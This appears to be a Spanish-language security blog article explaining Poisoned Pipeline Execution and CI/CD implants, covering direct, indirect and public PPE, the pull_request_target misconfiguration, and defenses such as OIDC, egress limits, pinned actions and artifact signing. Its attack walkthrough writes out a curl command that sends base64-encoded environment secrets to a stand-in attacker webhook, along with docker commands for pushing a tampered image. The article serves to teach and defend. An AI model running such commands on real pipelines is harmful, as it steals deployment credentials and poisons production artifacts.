Implantes en Pipeline: Trasladando ataques a la cadena de suministro desde dependencias al runner de CI/CD

En la última década, la industria de ciberseguridad concentró su energía en asegurar los “bloques de construcción” del software: dependencias. Vimos el auge de herramientas de Análisis de Composición de Software (SCA) para detectar paquetes NPM maliciosos, typosquatting en PyPI y vulnerabilidades en Maven. Sin embargo, a medida que la industria fortalecía sus defensas contra dependencias maliciosas, los atacantes desplazaron su foco más arriba en la cadena.

La nueva frontera de la guerra en la cadena de suministro no es solo el código que importas; es la infraestructura que construye tu código.

Bienvenido a la era de los Implantes en Pipeline y la Ejecución de Pipeline Envenenada (PPE). En este análisis profundo, exploraremos cómo los atacantes están pasando de librerías maliciosas a comprometer los runners de CI/CD, permitiéndoles robar secretos e inyectar puertas traseras directamente en los artefactos de producción sin tocar la lógica principal de tu código fuente.

1. El Gran Cambio: De dependencias a infraestructura

Tradicionalmente, un ataque en la cadena de suministro se veía así: un atacante publica lo-dash (en lugar de lodash), un desarrollador lo instala accidentalmente, y el paquete malicioso roba datos de la máquina local o del servidor de producción.

Hoy, la superficie de ataque se ha expandido. El DevOps moderno depende de “Infraestructura como Código” (IaC) y pipelines automatizados de CI/CD (GitHub Actions, GitLab CI, Jenkins, CircleCI). Estos pipelines son objetivos de alto valor porque:

• Poseen permisos de “Modo Dios”: Los pipelines a menudo tienen credenciales para desplegar en AWS/Azure/GCP.
• Son opacos: Los desarrolladores rara vez auditan los archivos YAML que rigen el proceso de construcción tan estrictamente como auditan el código de la aplicación.
• Son transitorios: Los ataques que ocurren dentro de un runner suelen ser eliminados una vez que termina el trabajo, dejando poca evidencia forense.

Los Implantes en Pipeline representan la etapa final de esta evolución. En lugar de comprometer una librería, el atacante compromete el proceso que compila la librería en una aplicación.

2. Entendiendo la Ejecución de Pipeline Envenenada (PPE)

En el corazón de los Implantes en Pipeline está una técnica conocida como Ejecución de Pipeline Envenenada (PPE). PPE ocurre cuando un atacante obtiene la capacidad de modificar el archivo de configuración de CI/CD o los scripts ejecutados por el pipeline.

Las Tres Variantes de PPE

A. PPE Directa

En PPE Directa, el atacante modifica directamente el archivo de configuración del pipeline (por ejemplo, .github/workflows/build.yml o .gitlab-ci.yml). Al enviar un Pull Request (PR) que cambia estos archivos, el atacante puede instruir al runner de CI/CD para ejecutar comandos arbitrarios.

B. PPE Indirecta

En muchos casos, la configuración del pipeline está protegida o “bloqueada.” Sin embargo, la configuración puede llamar a scripts externos, como npm run build, make, o un script shell personalizado (scripts/test.sh). Si un atacante puede modificar estos archivos referenciados mediante un PR, puede lograr ejecución en el runner incluso si no puede tocar el YAML.

C. PPE Pública (La Amenaza del Código Abierto)

Este es el vector más común para atacar repositorios públicos. Muchos proyectos de código abierto ejecutan automáticamente pruebas de CI en cualquier PR entrante para verificar el código. Si el repositorio está mal configurado, un actor malicioso puede bifurcar el repositorio, inyectar una carga útil en el archivo de workflow y enviar un PR. El runner de CI/CD del proyecto ejecutará entonces el código malicioso.

3. La Anatomía de un Ataque: De PR a puerta trasera en producción

¿Cómo funciona realmente un Implante en Pipeline en un escenario real? Revisemos el ciclo de vida de un ataque en un workflow basado en GitHub Actions.

Paso 1: La Pull Request Maliciosa

Un atacante identifica un repositorio que usa GitHub Actions. Nota que el workflow usa un disparador como on: pull_request. Hace un fork del repositorio y modifica un script de construcción, por ejemplo, un setup.py o un Makefile.

Paso 2: Exfiltración de Secretos

El script del atacante no solo hace que la construcción falle; actúa en silencio. Uno de los primeros objetivos es robar Variables de Entorno. Los runners de CI/CD suelen contener:

• AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
• NPM_TOKEN (para publicar paquetes)
• DOCKER_HUB_PASSWORD
• Claves SSH para servidores de producción

La implante puede contener una línea sencilla de bash:

curl -X POST -d "env=$(env | base64)" https://webhook-controlado-por-atacante.com/leak

Paso 3: Inyectando la “Implant”

Una vez que el atacante tiene derechos de ejecución en el runner, puede modificar los “Artefactos.” Los artefactos son la salida de la construcción (por ejemplo, un archivo .jar, una imagen Docker o un binario).

Si el pipeline construye una imagen Docker, el atacante puede usar el runner para inyectar un binario pequeño en la imagen:

echo "código malicioso"  e ./build/app.py
docker build -t aplicacion-produccion .
docker push empresa/aplicacion-produccion

Debido a que esto sucede dentro del entorno confiable de CI/CD, la imagen resultante está firmada digitalmente y se sube al registro de producción como “confiable.”

4. Por qué esto es más peligroso que malware tradicional

Los implantes en pipeline son ataques de “Living off the Land” (LotL) para DevOps.

• Evadir la revisión de código: La mayoría de los desarrolladores revisan los cambios en un PR (la lógica). Es menos probable que noten un cambio de una línea en un script preinstalado o un comando oculto en un archivo cmake complejo.
• Evadir SCA/SAST: Las herramientas de Análisis de Seguridad Estático (SAST) se enfocan en vulnerabilidades de la aplicación (como inyección SQL). Rara vez analizan la seguridad del script de construcción en sí.
• Naturaleza efímera: Dado que el runner de CI/CD se destruye después del trabajo, la “arma del crimen” desaparece. Lo único que queda es el artefacto de producción comprometido.
• Contaminación de confianza: Si tu sistema de CI/CD está comprometido, tu Provenance de construcción se destruye. Ya no puedes garantizar que lo que está en tu repositorio Git es lo que se ejecuta en tu clúster de Kubernetes.

5. Estudio de caso: La vulnerabilidad pull_request_target

GitHub introdujo pull_request_target para permitir que los workflows tengan más permisos que un pull_request estándar (que está muy restringido). La intención era permitir etiquetado automático o comentarios en PR.

Sin embargo, si un workflow que usa pull_request_target también hace checkout del código de la rama del PR entrante, crea una vulnerabilidad crítica. El runner comienza con los permisos “Secret” del repositorio pero ejecuta código proporcionado por el fork “No Confiable”.

¿El resultado? Un atacante puede enviar un PR que ejecuta un script para eliminar toda la infraestructura de AWS o robar los tokens de despliegue de la rama principal. Esta mala configuración específica se ha encontrado en miles de proyectos de código abierto de alto perfil en los últimos tres años.

6. Cómo detectar y prevenir Implantes en Pipeline

Asegurar el runner de CI/CD requiere un cambio hacia la madurez en DevSecOps. Ya no basta con asegurar el código; hay que asegurar el camino que el código toma hacia producción.

A. Principio de menor privilegio (PoLP)

Los runners no deben tener credenciales persistentes. En lugar de almacenar una clave secreta de AWS en GitHub Secrets:

• Usa OIDC (OpenID Connect): GitHub Actions puede usar OIDC para solicitar tokens de corta duración y alcance limitado en AWS/GCP/Azure. Estos tokens expiran tan pronto como termina el trabajo.
• Permisos limitados: Usa la clave permissions: en GitHub Actions para limitar lo que puede hacer el GITHUB_TOKEN (por ejemplo, contents: read, packages: write).

B. Aislamiento de red

La mayoría de los runners de CI/CD tienen acceso sin restricciones a internet. Esto les permite descargar dependencias, pero también permite a los atacantes exfiltrar secretos.

• Restringe salida: Usa runners autohospedados dentro de una VPC y restringe el tráfico saliente solo a dominios confiables (por ejemplo, github.com, npmjs.org).
• Audita logs de red: Monitorea tráfico saliente inusual (por ejemplo, solicitudes curl a IPs desconocidas) durante los trabajos de construcción.

C. Fortalecimiento de disparadores de workflow

• Nunca uses pull_request_target con un checkout no confiable.
• Requiere aprobación para todos los contribuyentes externos antes de que GitHub Actions se ejecuten en un PR.
• Usa Code Owners para asegurar que cambios en .github/workflows o scripts de construcción sensibles requieran aprobación del equipo de seguridad.

D. Inmutabilidad y metadatos firmados

• Acciones fijadas: En lugar de usar uses: actions/checkout@v3, usa el hash SHA completo: uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608. Esto evita que un atacante comprometa la Acción misma.
• Sigstore / Cosign: Usa herramientas como Sigstore para firmar tus artefactos y verificar que fueron construidos por un flujo de trabajo específico y sin alteraciones.

7. El futuro: Gestión de postura de seguridad en CI/CD (SSPM)

A medida que crece la amenaza de los Implantes en Pipeline, surge una nueva categoría de herramientas: Seguridad en la Cadena de Suministro de Software (SSCS) y Gestión de Postura de Seguridad en CI/CD.

Estas herramientas hacen por el pipeline lo que la Gestión de Postura de Seguridad en la Nube (CSPM) hizo por AWS. Ellas:

• Escanean “Shadow CI” ( runners no autorizados).
• Identifican roles IAM excesivamente permisivos en los runners.
• Detectan scripts “envenenados” antes de que se ejecuten.
• Aseguran cumplimiento con marcos como SLSA (Niveles de la Cadena de Suministro para Artefactos de Software).

8. Conclusión: El nuevo perímetro de seguridad

El perímetro de seguridad se ha desplazado. Ya no es el firewall; ya no es el proveedor de identidad; ahora es la Pipeline de CI/CD.

De cara a 2025 y más allá, los ataques más sofisticados no apuntarán directamente al portátil del desarrollador o al servidor de producción. Apuntarán al “intermediario”—el runner de CI/CD. Inyectando scripts maliciosos mediante un simple pull request, los atacantes pueden convertir tu herramienta de automatización más confiable en un arma para robar secretos y envenenar artefactos.

---

Clave para equipos de DevSecOps: Trata tus archivos YAML de CI/CD con la misma sospecha que tus credenciales de base de datos en producción. Un solo “Pipeline Envenenado” puede convertir una aplicación segura en una pesadilla en la cadena de suministro.